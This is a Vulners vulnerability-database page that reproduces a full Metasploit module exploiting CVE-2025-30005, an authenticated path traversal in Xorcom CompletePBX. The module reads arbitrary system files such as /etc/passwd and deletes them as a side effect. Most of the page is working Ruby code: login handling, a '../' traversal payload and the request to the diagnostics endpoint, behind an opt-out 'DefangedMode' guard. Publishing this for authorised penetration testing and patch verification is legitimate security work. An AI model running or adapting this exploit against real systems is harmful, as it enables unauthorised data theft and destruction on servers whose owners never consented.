Lucene search
K

Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName

🗓️ 22 Jul 2025 18:52:09Reported by Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 426 Views

Exploit authenticated path traversal in Xorcom CompletePBX <= 5.2.35 to read arbitrary files and delete them via the diagnostics module (CVE-2025-30005).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-30005
31 Mar 202517:31
circl
CNNVD
Xorcom CompletePBX 路径遍历漏洞
31 Mar 202500:00
cnnvd
CVE
CVE-2025-30005
31 Mar 202516:45
cve
Cvelist
CVE-2025-30005 Xorcom CompletePBX <= 5.2.35 Authenticated Path Traversal & File Deletion
31 Mar 202516:45
cvelist
EUVD
EUVD-2025-8862
31 Mar 202518:31
euvd
NVD
CVE-2025-30005
31 Mar 202517:15
nvd
OSV
CVE-2025-30005
31 Mar 202517:15
osv
Positive Technologies
PT-2025-13803
31 Mar 202500:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 07/25/2025
28 Jul 202512:09
rapid7blog
RedhatCVE
CVE-2025-30005
2 Apr 202517:37
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::CompletePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName',
        'Description' => %q{
          This module exploits an authenticated path traversal vulnerability in
          Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the
          `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers
          to retrieve arbitrary files from the system.

          Additionally, the exploitation of this vulnerability results in the **deletion** of the
          requested file from the target system.

          The vulnerability is identified as CVE-2025-30005.
        },
        'Author' => [
          'Valentin Lobstein' # Research and module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-30005'],
          ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
          ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
        ],
        'DisclosureDate' => '2025-03-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for authentication']),
        OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
      ]
    )
  end

  def check
    completepbx?
  end

  def run
    if datastore['DefangedMode']
      warning = <<~EOF

        Are you *SURE* you want to execute the module against the target?
        Running this module will attempt to read and delete the file
        specified by TARGETFILE on the remote system.

        If you have explicit authorisation, re-run with:
            set DefangedMode false
      EOF
      fail_with(Failure::BadConfig, warning)
    end

    print_warning('This exploit WILL delete the target file if permissions allow.')
    sleep(2)

    sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']])
    target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"

    print_status("Attempting to read file: #{target_file}")

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI']),
      'method' => 'GET',
      'headers' => { 'Cookie' => sid_cookie },
      'vars_get' => {
        'class' => 'diagnostics',
        'method' => 'stopMode',
        'systemDataFileName' => target_file
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from target')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
    end

    body = res.body.lines[0..-2].join

    if res.headers['Content-Type']&.include?('application/zip')
      print_status('ZIP file received, attempting to list files')

      files_list = list_files_in_zip(body)

      if files_list.empty?
        fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.')
      end

      print_status("Files inside ZIP archive:\n - " + files_list.join("\n - "))

      extracted_content = read_file_from_zip(body, File.basename(target_file), files_list)

      if extracted_content
        print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}")
      else
        fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.')
      end
    else
      print_good("Raw file content received:\n#{body}")
    end
  end

  def list_files_in_zip(zip_data)
    files = []
    begin
      ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
        while (entry = io.get_next_entry)
          files << entry.name
        end
      end
    rescue ::Zip::Error, ::IOError, ::ArgumentError => e
      fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}")
    end
    files
  end

  def read_file_from_zip(zip_data, target_filename, files_list)
    possible_matches = files_list.select { |f| f.include?(target_filename) }
    return nil if possible_matches.empty?

    correct_filename = possible_matches.first
    file_content = nil

    begin
      ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
        while (entry = io.get_next_entry)
          if entry.name == correct_filename
            file_content = io.read
            break
          end
        end
      end
    rescue ::Zip::Error, ::IOError, ::ArgumentError => e
      fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}")
    end

    file_content
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.3
EPSS0.01697
SSVC
426